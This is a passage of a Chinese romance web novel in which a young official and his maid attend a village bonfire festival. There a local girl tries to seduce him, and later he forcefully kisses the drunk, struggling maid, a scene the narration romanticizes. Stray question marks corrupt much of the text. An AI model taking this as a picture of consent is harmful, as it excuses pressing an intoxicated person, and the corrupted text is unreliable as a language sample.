众人尴尬地?移开眼, 这少女?的?行?为率直,样样不合世俗,莫不是?脑子有病? 恰在这时, 有人出声:“好看。” 少女?转动眸子, 仔细打量出声的?碧衣少女?。嗯,人长?得?雪白,五官娇俏妙丽, 身形纤秾合度,总体来?说只比她差那么一些些。 “你真觉得?我的?鞋子好看?”她问。 薛满不吝啬地?夸奖, “我真觉得?好看, 还有你的?裙子和衣裳也好看。” 少女?转了个圈,欢乐地?展示着自己, “你很有眼光,比这群蛮汉子要识相多了。” 凌峰平生最讨厌离经叛道的?女?子,眼下除去薛满又多了一个,心里别提有多郁结,“快将你的?牛赶开,否则别怪我们不客气。” 少女?一脸无辜,“牛牛们还没散完步呢。” “你真以为我们不敢宰了它们?” “啊,你又威胁我的?牛牛们,那他得?陪我睡两晚才行?。” 薛满倒吸一口?凉气,朝许清桉比出两根手指,“少爷,她叫你陪她两晚!”不是?一晚,已经加到两晚了! 许清桉:……他听到了,但她一脸兴奋激动是?怎么回?事? 他平静如斯,对陌生少女?热烈的?目光视若无睹。 凌峰却冷笑连连,“你这乡野姑娘,也敢肖想许公子?” “为何不能肖想?”少女?问:“难道他已经娶亲?” “未娶亲又如何。”凌峰暗扫某人一眼,话?里有话?,“像许公子这般出色的?男儿,将来?的?妻子必定家世清白,娴静淑雅,文?采斐然,与他志同道合。” 薛满生怕许清桉听不懂,踮脚对他耳语,“少爷,他想当?你的?大?舅哥。” “……”许清桉想掰开她的?脑子看看里面装了什么。 少女?被他三番两次地?针对,脸上浮现怒意,指着凌峰道:“正主?都没说话?,你这蛮汉却多嘴多舌!你说的?话?我不爱听,大?牛、二牛,你们过去撞他!” 说也奇怪,牛群中最健壮的?两头牛忽然通晓人性,举着牛角便冲向凌峰。凌峰是?个成日跟文?书混在一处的?文?官,身上没有半点功夫,全靠童和提着他左闪右避。虽躲过牛袭,但形容慌张,狼狈不堪。 薛满乐得?见少女?教训凌峰,正瞧得?起劲呢,被许清桉拉着手腕躲到远处。 下一瞬,便见剩下的?三头牛也开始骚动,场面乱作一团。许清桉朝任四琦投去一眼,任四琦立即拔剑指向天?空,银枭队的?其?他人见状也拔剑指向牛群。 少女?见他们杀意凛然,懊恼地?跺了跺脚,“等等——” “诸位壮士手下留情!” 小路的?远处传来?一声疾呼,有马蹄声快速踏近,众人见到路成舟与一名青年前?后踏马而来?,方才那话?便出自青年之口?。 青年皮肤黝黑,阔额厚唇,高大?威猛,有种别于中原人的?粗犷不羁。他先瞪了少女?一眼,随即屈指吹响哨声,牛群渐渐恢复镇静。 “宝姝,你太胡闹了!”青年斥责少女?。 少女?宝姝还有些不服气,“我逗逗他们而已,谁想他们这么不禁逗。” “还敢顶嘴,小心阿爹知道后禁你的?足!” 宝姝吐了吐舌头,总算不吭声了,只用一双灼灼明眸盯着许清桉看。 青年观察众人,一眼便看出谁是?其?中领袖。他跳下马,朝许清桉抱拳道:“不好意思,舍妹顽劣,冒犯了诸位,还请诸位大?人有大?量,莫与舍妹计较。” 许清桉淡淡地?颔首,路成舟马上道:“许公子,往前?五里处是?望北寨,这位小哥是?望北寨的?少主?莫穆尔。” “我是?他的?妹妹莫宝姝。”宝姝见缝插针地?介绍自己。 罕见的?姓氏,豪放的?作风,明显带有异族特征的?样貌特征……许清桉联想到了一种可能,“你们是?北渚人的?后裔?” “公子博闻。”莫穆尔赞道:“我们的?长辈在十几年前移居中原,游荡多地?,最终在此?处定居。” 北渚是?中原以北的?一个小国家,周边纷争不断,全靠大?周庇护才得?以安宁。两国关系融洽,北渚每年会向大?周进贡献美,双方的?子民更是?来?往密切。 “幸会。”许清桉言简意赅,“我姓许,京城人士,偶然途经此?地?。” 莫穆尔爽朗一笑,“我听路公子说了,你们被我妹妹的?宠物堵住去路,我这便把它们赶走。” “哥哥,是?小宠,小宠!”莫宝姝强调:“宠物两个字一点都不可爱。” “它们哪里小?!”凌峰刚整理好仪容,粗声粗气地?道:“普通人被它们撞一下命都没了!” 莫宝姝幸灾乐祸,“叫你嘴坏,你活该。” “宝姝。”莫穆尔警告她,“再说一句,我真不许你参加篝火会了。” 莫宝姝伸着食指在嘴上比了个叉。 莫穆尔继续道:“许公子,这附近除去望北寨便没有其?他村落,你们若继续往前?走,今晚恐怕要露宿野外。不如随我们回?去,在山寨将就住上一晚?” 远途在外,借宿乃稀疏平常,何况正值秋季,夜间深露重寒,习武之人尚且罢了,如薛满这等女?子却极容易生病。 许清桉点头,“那便打扰莫公子了。” “经过番寨的?人不多,你我能相遇便是?缘分。”莫穆尔笑道:“诸位,跟我走吧。” 他示意莫宝姝带着牛群在前?面领路,莫宝姝却不乐意,“我想跟他们一起坐马车。” “他们”自然是?许清桉与薛满。 莫穆尔一口?回?绝,低声道:“宝姝,那位许公子一看便出身不凡,绝非能容你胡闹的?主?。” 莫宝姝悻悻地?撇嘴,“他长?得?那么好看,我想跟他待在一块。” “你真中意他,大?可今晚上向他献舞。” 莫宝姝觉得?他说得?有道理,便开开心心地?骑上牛去前?头带路。 薛满与许清桉回?到马车上,薛满新奇地?道:“少爷,这位莫姑娘真有意思,跟寻常的?女?子截然不同。她穿着打扮大?胆,说话?也大?胆,对了,行?事也大?胆,竟然养了一群牛当?宠物。” “你也想养牛当?宠物?” “免了。”薛满怕被牛踹,“养猫倒是?可以考虑。” 过了会,她装作不经意地?问:“少爷,你对她说的?话?有什么想法?” “……” “她想睡你,那你呢,你意下如何?” “……” * 望北寨是?一片以石墙圈围的?村子,多以平屋为主?,里头住着三百余名村民。他们虽久居汉地?,但在行?事上仍延续了北渚人的?热情奔放,在男女?关系上推崇“及时行?乐”的?道理。在成亲前?,无论男女?,只要有了意中人,都可以大?胆地?向对方表明心意。今日合便合,明日不合便分,全无守身如玉的?道理。可当?他们成了亲后,便得?奉行?一夫一妻制,发誓要对伴侣忠诚一生。 俊生将打听到的?这些消息告知薛满,薛满听后恍然大?悟,“难怪莫宝姝见少爷长?得?好看便要睡他。” 俊生摸了摸鼻子,心道:咳咳,睡不睡什么的?,阿满姐姐说话?也有奔着莫姑娘去的?趋势…… “姐姐放心,公子对莫姑娘绝没有兴趣。”俊生道:“公子多年来?洁身自好,不说红颜知己,便是?身边伺候的?人也从不用婢女?。” 薛满便问:“我不是?婢女?吗?” 俊生从善如流地?改口?:“除了您。” 薛满的?关注点在别处,“俊生,你觉得?少爷喜欢女?子吗?” 俊生心想:公子不仅喜欢女?子,还极有可能喜欢的?就是?您,否则怎会在您被挟持的?时候提出要用自己交换?公子可从来?不是?大?发善心之辈,从前?在京中有贵女?在他面前?摔进河里,他连眼皮子都没眨一下! 但他不敢点明,“您不妨挑个时间试探下公子。” “哪轮得?到我试探?”薛满理所当?然地?道:“自有什么莫姑娘、凌姑娘,甚至赵钱孙李家的?姑娘去试探,我们等着看花落谁家便是?。” 俊生见她一副看好戏的?模样,只差没捧把瓜子磕上了,“姐姐,您一点不担心吗?” “担心什么?” “公子会喜欢别人呀!” “天?要下雨,娘要嫁人,我一个当?婢女?的?还能拦着少爷喜欢谁不成?”薛满安慰他,“你安心,能叫少爷喜欢上的?姑娘绝对人美心善,不会为难你我这等忠仆的?。” 说得?很好,但显然她没懂他的?深意。俊生长?叹了一口?气:罢了,公子的?事情他还是?少管,主?要是?一个深藏不露,一个不开窍,管了也白搭。 莫穆尔的?父亲是?望北寨现任寨主?,他是?少主?,整个莫家在寨中极有声望。是?以,在莫穆尔将许清桉一行?人迎进山寨并安顿在自家后,便引起不少村民的?注意。 “宝姝,那一群人是?谁,你家的?客人吗?” “宝姝,他们人人身上带着剑,莫非是?江湖侠客?” “宝姝,我看到他们中间有个女?子,长?得?肤白貌美,她叫什么名字?” “宝姝,那个穿月白色衣裳的?公子是?他们的?头领吗?他今年几?岁,成没成亲,晚上参加篝火会吗?” 好奇的?村民们不敢直接问莫穆尔,便一股脑地?围着莫宝姝发问。 莫宝姝烦不胜烦,“他们是?路过此?地?的?汉人,在山寨借住一晚而已,其?余的?我也不清楚。对了,你!”她指着方才问月白色衣裳的?那名少女?,霸道地?道:“你死心吧,许公子是?我看上的?人,今晚我要向他献舞。” 那少女?不满地?道:“你不是?有安元驹了吗!” “是?安元驹追求我,我可没答应他。” “那你还收他送你的?小马!” “收他一匹马,我便得?以身相许吗?”莫宝姝翻个白眼,“那我将马给你,你今晚跟安元驹凑一对吧。” 少女?说不过她,气鼓鼓地?跑开了。 莫宝姝把玩着小辫,思索该怎么邀请许公子参加篝火会。从初遇时的?情况来?看,他并非好色之徒,若是?知道篝火会的?真正意图恐怕连声响都不肯给。反观他身边的?那名少女?,活泼伶俐又识相,倒可以一试。 她行?动力极强,立刻寻到薛满的?院子,直截了当?地?套近乎,“你好,我是?莫宝姝,你叫什么名字?” “我叫阿满。”对方道。 “你是?许公子的?什么人?” “我是?少爷的?婢女?。” “婢女??”莫宝姝转念一想,问:“那你是?他的?通房?” “非也。”薛满并不生气,认真向她解释了一番,“婢女?就是?婢女?。” “哦~那你家少爷没有娶亲,也没有贴身伺候的?通房?” “没错。” 莫宝姝觉得?自己走了大?运,这样优秀漂亮且单身的?青年,早不出现,晚不出现,偏在篝火会前?出现,分明是?上天?赐予她的?礼物! 她瞬间对薛满亲近无比,“阿满,我与你很投缘,想邀请你参加今晚的?篝火会。” 薛满好奇地?问:“什么是?篝火会?” 莫宝姝挑能说的?部分说:“篝火会是?我们北渚人庆祝秋收的?晚会,在天?黑时用稻秆点燃篝火,宰羊宰鸡,载歌载舞,吃炙烤的?肉,喝谷酿的?酒,唱古老的?颂歌,希冀明年依旧五谷丰登。” 薛满眼睛一亮,“听起来?很有趣的?样子。” “当?然。”莫宝姝笃定地?道:“我们有最美味的?炙肉,最香醇的?美酒,最动人的?舞蹈和最动听的?歌声!如果你错过篝火会,将会是?你一辈子最大?的?遗憾。” 如此?这般,薛满被她勾起了极大?的?兴趣,然而她没有当?场应下,转身去征求许清桉的?同意。 “少爷,我们能去参加篝火会吗?”薛满期待地?问。 方才莫穆尔也向许清桉提过此?事,只他兴趣寥寥,回?绝了对方。 “你想去吗?” “想去。”薛满诚实地?点头:“赶了许久的?路,难得?遇上好玩的?事情呢。” 也是?,从晏州相遇开始,她便与他寸步不离,陪他一起核账查案,不像其?他少女?般有游乐的?时间。再有,路成舟他们已经排查过寨子,并无任何可疑之处,去凑凑热闹也无妨。 他问:“篝火会几?时开始?” “戌时。”薛满道:“这会是?酉时,还有一个时辰便开始了。” “你去通知路成舟他们一起参加。” “好嘞!” 薛满得?了命令,麻溜地?通知众人。俊生自是?开心不已,银枭队虽面上不显,心底倒也觉得?轻快。此?趟跟着御史南下近一年,因肩上压着皇命,又因许清桉不图酒色,导致他们从未寻过乐子,今晚能吃肉喝酒、听歌赏舞也是?极好。 独独凌峰黑着脸拒绝:“我不去!” “你爱去不去。” 薛满不搭理他,高高兴兴地?与其?余人去参加篝火会。 所谓的?篝火会便是?腾出一片空旷平整的?空地?,在最中央处堆起半人高的?柴堆,周围以圆形的?草垫座位散开,一圈一圈地?往外扩展,直至容纳所有参会的?年轻未婚男女?。 是?的?,莫宝姝没告诉薛满,篝火会只允许年轻未婚的?男女?参加。 从位置来?看,越靠近篝火堆的?位置越显身份,莫穆尔将许清桉视为贵宾,特意将他跟薛满安排在了第一圈。他的?左侧是?主?持本次篝火会的?莫穆尔,右侧是?薛满,而薛满的?身边则是?莫宝姝,她的?妆容精心打扮,身上却用侧襟长?裙裹得?严严实实。 莫穆尔之所以这么排位置,自有他的?一番打算。 望北寨位置偏僻,背靠群山,日常靠打猎耕地?维持基本生活。但近几?年山上的?猎物锐减,地?里的?庄稼又非年年丰收,生活每况愈下,因此?好些年轻人选择离开山寨,留下的?多是?老弱病残。莫穆尔身为下一任寨主?,心心念为山寨谋求新的?出路,奈何一直计无所出。 今日见到许清桉时,莫穆尔便看出他的?护卫们武功高强,训练有素,他自身更是?美如冠玉,卓尔不凡。想也知道,他的?家世定然非富即贵,加之宝姝对他有意,若真能撮合他跟宝姝,即便不能留他在寨中做婿,想必也能得?到某些助力。 他比莫宝姝要聪明,没有将两人直接安排到一起,同时他又对宝姝信心十足——没有人能拒绝热烈的?篝火下,那样闪闪发光的?少女?宝姝。 第54章 第 54 章 再说回莫宝姝, 她对兄长的心思?毫不知?晓,或者说知?道了也无所谓,反正她成功睡到?许公子?便成。 她隔着一个薛满, 直勾勾地盯着许清桉。在晚霞与?黑夜交汇的朦胧时分,他的侧脸轮廓清晰, 桃花眼狭长,目光淡持, 身形修挺, 仿若一幅精致的剪影画。 汉人们有句话叫“爱美之心人皆有之”,莫宝姝觉得这?位许公子?便是当?之无愧的美人,而她,今晚一定要睡到?他! 莫宝姝斗志满满, 凑到?薛满的耳畔, “许公子?的酒量如何?” 薛满道:“少爷不好酒,想必是酒量普通。” 莫宝姝乐不可支, 酒量普通才好,方便酒后做点什么啊。她脸不红气不喘地撒谎:“无碍,我们北渚人特酿的琼秋酒温和顺口, 喝再多也不醉人。” “是吗?”薛满笑道:“那?待会我也要尝尝。” 夜幕彻底笼罩大地, 柴堆旁坐满了青年男女,大家热情高涨,呼喊着请莫穆尔点燃篝火。 莫穆尔起身, 高举点燃的火把?,朝众人喊道:“金秋已至, 牧野之神会保佑我们稻谷丰收, 猎物?充盈,玄冬丰衣足食!” 众人跟着振臂高呼:“稻谷丰收!猎物?充盈!玄冬丰衣足食!” 声声呐喊中, 莫穆尔点燃柴堆。篝火熊熊燃烧,明亮的火焰成为夜中跳跃的精灵,照耀着每一张充满活力的年轻脸庞。 有几名穿着清凉的年轻男女走出?人群,男子?们身材健硕,敞襟穿着无袖衫,脸上绘着彩色图腾。女子?们发饰繁丽,袒胸露腰,身材妙曼。他们拿着北渚的传统乐器,弹奏古老悠远的歌曲,随着篝火舞动吟诵,将气氛推得越来越热。 与?此同时,美酒佳肴也陆续上桌。用古法酱料烤制的炙羊肉鲜嫩多汁,高粱酿成的琼秋酒醇馥幽郁,新?鲜稻谷制成的麦饼香气四溢,刚从枝头摘落的柿子?柔软滑腻。还有爽口的腌菜、绵密的烤栗、鲜掉舌头的鱼羊一锅烩…… 吃多了冷硬的干粮,这?一顿丰盛的晚餐胜似宫宴美味。银枭队和俊生等人坐在后头大快朵颐,连许清桉和薛满都食欲大增。 “等回到?京城,我们也试试烤肉。”薛满吃一小口肉,抿一小口酒,满足地眯起眼,“最好是在冬日初雪时,在院子?里支个棚子?,用泥炉子?煨上一壶酒,旁边再用燔炉烤肉。唔,肉得精挑细选,削成薄薄的一片,往上撒点丁香、胡椒和孜然?,再刷一层杏浆……” 许清仿佛身临其境:飘雪如絮,枝头覆白,他们冒着寒意在院中围炉而坐,空气中是无处不在的烟火气息。他会用小刀片肉,她会兴致勃勃地烤肉,初时烤的肉不尽如人意,但以她不认输的性格,定会锲而不舍地继续尝试…… 他的院落将充满她的欢声笑语,不复过往十五年的冷清。 许清桉饮了口酒,“如此甚好。” 莫宝姝注意到?他唇畔带笑,见机举起酒杯,“阿满,许公子?,我敬你们一杯!” 她仰头一饮而尽,薛满见状也喝光了杯中酒,见许清桉没有动作,便道:“少爷,你安心喝,莫姑娘说这?酒不醉人。” 莫宝姝附和地点头,“对,我平日喝完一斤,还能出?门遛牛呢。” 许清桉依言喝光了酒,对薛满道:“你少喝一些。” “难得嘛。”薛满笑道:“我再喝两杯,喝完两杯就不喝了。” 此时莫穆尔回到?座位,也朝许清桉举起酒杯,“许公子?,我敬你一杯!” 许清桉没有推辞,与?他对饮了几杯。借着酒意微醺,莫穆尔开始谈天说地,从自由自在却动荡不安的北渚,到?政通人和却充满教礼束缚的大周。从他们即便落籍,也与?汉人们格格不入,只能选择偏隅一角的生存。从他们对丰衣足食的希冀,却要面对日渐衰微的现?状…… 在得知?周边山林是因官府大肆砍伐而导致猎物?锐减时,许清桉沉吟片刻,问道:“你们没有与?所属的县衙沟通过此事??” “我们尝试过。”莫穆尔苦笑着摇头,“可你们汉人太难琢磨,明面上说好的事?,转头却不肯承认。又或者今日跟这?人说好,明日又换了个人来,几次过后,我们也便放弃了。” “可见过他们的主?事?人?” “我去求见过几次,但每次对方都有事?。”莫穆尔叹气,“再这?样下?去,我们恐怕要移寨才行。” “你们人数众多,移寨并不是件容易的事?。” “是啊,但我实在想不到?解决的办法。”莫穆尔抬眼,试探地问:“我见许公子?博学?多闻,不知?你能否指点一二?” 莫穆尔对他们的招待很?周到?,许清桉不介意还他个人情,“明日我会派人传信给当?地县衙,请知?县与?你当?面详谈。” 莫穆尔喜出?望外,虽已料到?许公子?身份不凡,但他竟能这?般随口地说安排他与?知?县会面?贵人,他绝对是望北寨的贵人! 他连声道谢,抽空朝莫宝姝看了一眼:宝姝,看你的了。 莫宝姝嫣然?一笑,正要起身,却见那?弹琴的俊朗青年站到她面前,微俯下?身,深情地唱道:“我最美丽的姑娘,你的笑如艳阳,你的眸如星辰,你的身影盘旋在我的心间,叫我日夜思?念,只想拥入怀间……” 有别于汉人的含蓄内敛,北渚人惯来大胆豪放,用直白的歌词表达热烈的情感。他们从不羞于表达喜爱,在篝火会时,年轻的单身男女会用歌舞向意中人表白,一旦对方给予回应,今晚便将拥有无与?伦比的美妙。 安元驹边唱歌,边向莫宝姝伸出?手。他们早就对彼此有意,他喜欢宝姝的古灵精怪,宝姝欣赏他的精壮勇猛。他等了许多年才等到?宝姝满十六岁,他坚信宝姝也在期待今天,然?而他伸出?的手,久久没得到?宝姝的回应。 安元驹的脸色渐渐变冷,他想起寨里的风言风语,说宝姝看上了借宿的那?名俊公子?……他冷厉地扫向那?名姓许的汉人,一瞬后,他挫败地垂头:对方简直俊美得过分。 宝姝向来喜欢漂亮的事?物?,而她也配得起最漂亮的事?物?。 安元驹咬咬牙:宝姝开心就好! 薛满刚坐直身子?准备看戏,便见那?名青年低落地离开,莫宝姝则坦然?地道:“我之前喜欢他,但现?在有更喜欢的人了。” 哇,好直接,好任性! 薛满脱口而出?道:“我真羡慕你。” “羡慕我有人追求吗?” “不,我羡慕你直言尽意,爱憎分明。” “这?有什么可羡慕的,又没有多难做到?。” “你错了,很?难。”薛满道:“许多人没有大胆去喜欢的勇气,更没有果断放弃喜欢的洒脱,他们终其一生被困在爱恨纠缠中。” “你也这?样吗?” “我……我没有喜欢的人。”薛满茫然?一瞬,心头涌上难言的苦涩,“即便有,我也不愿做这?样的人。” “那?就对了。”莫宝姝潇洒地道:“不喜欢就拒绝,喜欢了就勇敢去追求,不要勉强和委曲求全,遵从内心的人生才畅快。” 薛满重重地点头,“你说得对,我要向你学?习。” “那?你睁大眼睛,看仔细了。”莫宝姝朝她抛了个媚眼,忽然?站起身子?,纤指在腰间一划便抽出?腰带,再解开侧襟长裙,扬手抛往许清桉的方向—— 许清桉偏身躲开,长裙落在了脚畔。 莫宝姝不甚在意,反而挺了挺胸膛。褪去长裙后,她上身只着一件荷花粉镶金边的抹胸,胸前绣着一朵盛开的并蒂玫瑰。下?身则是轻纱长裙,裙摆处花枝缠绕,潋滟绮丽。她裸露的肩颈线条优美,胸前鼓囊,袒露的腰肢不盈一握。 她身姿婀娜,轻步曼舞,停在许清桉的案前。 “雄鹰天上飞,羊群草地走。我在高高的山坡上眺望,心爱的儿郎何时归。声声盼你归故乡,阿妹向你诉衷肠……” 她的歌声悠扬婉转,满是柔情绰态;她的舞姿翩跹,勾魂夺魄;她身后是熊熊篝火,为肌肤披上一件焰色的纱衣。 她灼热明媚,吸引了无数惊艳的目光,却只愿为面前的俊美公子?绽放。 ——可惜,某人眼也不抬,顾自品尝案几上的美酒佳肴。 莫宝姝没有放弃,将身子?摆得更柔软,神情放得更妩媚,歌中的情意愈加直白,“阿妹邀你度春光,春光奔赴芙蓉帐,账内夜销魂……” ——某人依旧岿然?不动,仿佛突然?哑了、聋了、瞎了。听不到?,根本听不到?。看不到?,完全看不到?。 莫宝姝又唱又跳了一刻钟,抛媚眼抛得眼角抽筋,仍得不到?对方的任何回应,当?下?恼羞成怒。枉费这?人生得一副好相貌,竟然?比她的牛牛们还不知?趣! 她下?意识地想要发脾气,但莫穆尔严肃地对她唇语:不许得罪许公子?。 莫宝姝郁闷至极,正想甩手离开时,余光瞥见其余人都迷恋地盯着自己。 她蓦又高兴起来,这?么多的人都欣赏她,她又为何要为一个不欣赏她的人而难过? 她重新?挂上笑容,步伐略略一转,朝薛满伸出?手,“阿满,来跟我一起跳舞!” 薛满被她的欢乐感染,想也不想地伸手回握。莫宝姝牵着她靠近篝火旁,薛满还没意识到?自己做了什么,便跟着欢腾的旋律与?她同舞。 歌声高昂,裙摆飞扬,她与?莫宝姝手挽着手,脚步轻快地跳跃,围着篝火婆娑起舞。两位年龄相仿的少女一明丽,一娇俏,如双生花般并蒂盛放。 其余的女子?不再甘于围观,纷纷起身加入她们。她们手挽着手围着篝火转圈,火光照亮她们的笑脸,是那?样的肆意鲜活。 这?是独属于女孩儿们绽放的时光,望北寨的青年们为她们欢呼,俊生将小手拍得通红,银枭队亦在微笑欣赏。 不知?何时,许清桉抬起头,视线长久地停留在一抹身影上。她开心极了,面颊红润,杏眸笑成一轮弯月。即便舞姿生涩,她仍没落下?任何一个动作,努力到?整个面庞都在发光。在穿着清凉的少女中间,她的秋香色交领长裙显得如此突兀,却能牢牢吸引住他的目光。 他端着酒杯许久,忘了喝,也忘了眨眼。 莫穆尔见状心中有数,打趣道:“看来并非宝姝魅力不足,而是许公子?已经有了意中人。” 许清桉没有否认,既是事?实,又何须否认? 随着少女们气喘吁吁地回座,望北寨的青年们又粉墨登场。他们跳着豪放又不失细腻的舞蹈,全方位展示男子?气概和温柔,其中有一名青年特意停在薛满面前,脸上写满对她的倾慕。 嗯,薛满没空瞧,她正忙着跟许清桉说话。 “少爷,我的头好晕啊……”她扶着脑袋,神色娇憨,“转了太多圈,怕是脑浆都糊成一团了。” “你醉了。” “怎么可能。”她道:“宝姝说了,琼秋酒温和顺口,喝再多也不醉人。” 许清桉挑眉,别人说了她便信?真好骗。“累了吗?累了便回去休息。” “不行,我还饿着呢,吃东西,嗯,多吃点东西。”她低着头,秀气地吃起东西,压根没注意到?面前还站着个人。 青年饶有兴趣地望着她,觉得她像小猫一样温顺可爱。他清了清嗓子?,试图吸引她的注意力,然?而想吸引的对象没有抬头,反倒惹来一道极具压迫的凝注。 青年的笑容僵在唇边,浑身汗毛直立,他确信自己再不走,便会深深得罪莫穆尔的这?位贵客。 可爱的女孩儿到?处都是……青年悻悻然?地走了。 薛满专注地往嘴里塞东西,炙肉、柿子?、麦饼、琼秋酒…… 她一口气连饮两杯,还想续酒时,被一只修长亭匀的手拦下?,“你不能再喝了。” “可是我很?渴。”她委屈地道。 “我带你回屋喝水。” “可是他们还在跳舞。” “他们跳他们的,我们回我们的。” “可是我还想看啊。” “回京城后你想看什么都有。” “可是……” “没有那?么多可是。”他轻轻拍她的脑袋,“听话,你该睡觉了。” 好吧。她努努嘴,往人群看了一眼,依稀看见安元驹重新?拉起宝姝,而莫宝姝这?次没有拒绝,与?他走到?角落,亲昵地贴面私语。 她露齿一笑,颇有些幸灾乐祸,“少爷,宝姝不要你,又选之前喜欢的人了。” 干他何事?。 许清桉不置可否,朝她伸出?手,“走了,我送你回去。” 薛满试图起身,“不用,我认得回去的路。” 眼见她摇摇晃晃地站立,下?一刻便会扑倒在地。许清桉伸手扶住她的手腕,冷不防被她一把?甩开。 “我说了,我要自己回去……”薛满醉眼蒙眬,固执非常,“你不用管我,继续玩,玩个尽兴。” 俊生瞥见前方的动静,下?意识想过去伺候,却被旁边的路成舟摁住肩膀。 “你该有点眼色。”路成舟意味深长地道。 说话间,许清桉已强势地搀着嘟嘟囔囔的薛满离开,俊生望着两人相携离开的背影,逐渐回过味来,嘴角扬得老高。 路成舟也会心一笑。 不谈身份地位,这?两位郎才女貌,彼唱此和,着实相配。 第55章 第 55 章 许清桉扶着薛满往住处走, 走着走着,薛满心血来潮,“少爷, 我出道?题考考你。” “什么题?” “啦啦啦……啦啦啦……噜啦噜……”薛满哼着不知?名的小调,轻快地问:“这首曲叫什么名?” “……”许清桉道?:“我不知?。” “那哩哩哩……哩哩哩哩哩……哩哩哩……呢?” “也不知?。” “那啦哩啦哩啦……啦噜啦啦啦……” “还是不知?。” “你怎么什么都不知?不知?。”薛满不悦地轻斥:“一问三不知?, 如?何能当个好官?” “识小曲跟当官有?何关联?” “我说有?关联便有?关联。”薛满往虚空摊开手,“你还敢顶嘴?罚你两个月的俸禄, 外加一两现银——不, 二两现银,赶紧拿来!” “……”他懂了,这是心里记着他扣她银子的事情。“等你明日醒了酒再给你。” “我没?醉,无需醒酒, 不许你赖账……” 许清桉不跟小酒鬼计较, 安稳地送她回到屋里。薛满扑倒在柔软的被褥间,舒服地蹭了蹭脸, 很快又捂着肚子哼哼唧唧。 她口齿不清地道?:“少爷,我不苏胡……” 方才?吃了那么多东西又醉着酒,当然不会舒服。 许清桉替她脱了鞋, 扶她靠在迎枕上, “可想吐?” 她诚实地道?:“想,但我舍不得吐。” 许清桉啼笑皆非,用清水拧了毛巾后坐到床畔, “别动,我替你洗把脸。” 薛满目无焦距却分外认真?地盯着他, 虚幻的面庞, 宽挺的肩膀,视她若珍宝的动作…… “三哥。”她傻笑着, “我真?的好喜欢好喜欢好喜欢你啊。” 许清桉的动作顿住,深眸内一片诡异的沉静。 “你也喜欢我对不对?”她毫无察觉,仍在道?:“虽然没?有?我喜欢你那般喜欢,但肯定也是喜欢的,否则你不会对我那么好。” 许清桉收回手,薄唇抿成一条直线。 “除了阿爹阿娘,你是世上对我最好的人。等我们成了亲,你便是我的夫君,我是你的妻子,我们要白?头偕老,恩爱一生。” 许清桉敛眸,额际青筋隐隐跳动。 “本该这样?的,本该这样?的。”她兴高采烈的声音忽然带上哭腔,眼泪像断了线的珠子一般滚落,“可你是个骗子,你不喜欢我,你喜欢上别人了!我是阻拦你们的第三者,我不要再喜欢你了,我们的婚事作罢,我要逃婚,我要找祖父替我做主……” 她哭得不能自已,一下又一下地推着他,“你走,我讨厌你,我不想再见到你……” 下一瞬,她又改变主意,欺身凑到他面前,双手钩着他的脖颈,“你愿意亲她,为何不愿意亲我?我明明比她好,明明比她更喜欢你……” 许清桉面无表情地由她胡闹,便在她即将亲上他的唇时,她却松开手臂往后退,摇头晃落眼中的泪,“我才?不要当恶毒女配,才?不要跟老鼠一起蹲大——” 话音未落,一只手捧住她的后颈,将她整个人往前一送,正?正?好迎上一张微带酒香的凉唇。 他没?有?一丝犹豫,衔住她柔软微咸的红唇,撬开那细密防备的贝齿,犹如?战士般攻城略地,侵占她的惊愕、悲伤和茫然。初时或许生涩急躁,但他向来进步神速,一遍又一遍地唇齿交缠,由浅到深,从强势到更强势,直至对方呼吸困难。 她挣扎着推拒着这份令人窒息的掠夺,他捉住她的细腕短暂离开,待她舒了口气后再度压过?去,唯有?这般亲密无间的相依,才?能平息他心中喷薄欲出的恶意。 男子暗哑急促的呼吸,少女隐隐约约的嘤咛,在静谧的夜里织就一张稠密的网,叫人无处可逃。 他恨不能将她拆食入腹,是的,在听?到她对其他男子的一番衷肠后,他应当将她拆食入腹。是她主动在破屋中扔出的石块,是她口口声声要与他同?甘共苦,是她宁可冒死也不愿他被人挟持。或许她的所?作所?为不带任何旖旎,可那又如?何?他已然动了心,便不允许她置身事外。 许清桉勉强从欲/念中抽离,抬高她的下巴,望进她迷蒙无措的眼底。 “阿满,你看?清楚了,我是谁?” “你是三——” 炙热的压迫卷土重来,她被吻得气喘吁吁,听?到那吃嘴的恶人在耳边一字一顿地道?:“记住,吻你的人是许清桉。” “是许清桉……” “没?有?别人,往后只有许清桉。” 不管她从前喜欢谁,不管那所?谓的婚约是否存在,不管她恢不恢复记忆,往后余生便只有?他和她。他们的故事即开篇写序,便不许虎头蛇尾,更不许半途而废。 * 待到翌日清晨,薛满睁开眼,呆滞地盯着天青色的帐顶。 啊,头好疼,想晕。 啊,胃好难受,想吐。 啊,嘴巴好疼,想…… 她如?七旬老妪般颤颤巍巍地坐起,用手指摩挲了下唇瓣,疼得嘶了一声:昨晚发生了何事,她被炙肉殴打了一顿吗? 片刻后,她干呕了一声,不行,不能动脑子,一动脑便想吐。 门外适时响起俊生的声音,“阿满姐姐,您起了吗?” “起了。”她虚弱地回。 “我给您准备了醒酒汤,您要喝点吗?” “喝!” 薛满打起精神梳洗,待用过?醒酒汤,到院外呼吸新鲜空气时,恰好撞见边走路边整理?衣衫的莫宝姝。 “宝姝。” 莫宝姝抬头,热情地招手,“阿满,早啊。” “宝姝,你骗我。”薛满控诉:“我昨晚喝醉了!”醉得透透的,这会头痛欲裂。 莫宝姝不觉愧疚,大笑道?:“我本想灌醉许公子,没?想到最后中招的是你,哈哈哈,阿满,你的酒量真?差。” “差便差吧,下回不喝了。”薛满没?多跟她计较,看?了眼头顶的太阳,“你也才?起来吗?” “是啊。”莫宝姝伸伸懒腰,又活动了下脖子。 薛满注意到她脖子上有?点点红痕,“你被蚊子咬了好多包。” “天这么凉,哪里来的蚊子?” “有?啊,你脖子上全是印子。” 莫宝姝愣了下,随即笑得停不下来,“阿满,你真?是个活宝……” 没?等薛满理?解她在笑什么,便见一名俊朗的青年小跑到宝姝身侧,殷勤地递出一副耳环,“宝姝,你的耳环落下了。” 莫宝姝自然地仰头,“你替我戴上。” 青年温柔地替她戴上耳环,宝姝拍拍他的手臂,“多谢。” “今晚去我家,好吗?” “我考虑一下。” “别考虑了,我吃过?午饭来接你,先陪你去河边溜小宠们,再抓点鱼回去烤……” 薛满张圆嘴巴,几乎能吞下一个鸡蛋!她想起俊生说北渚人崇尚婚前及时行乐,加之青年这个时辰出现在莫家,瞬间猜到这两人发生了什么。 那宝姝脖子上的痕迹岂非是…… 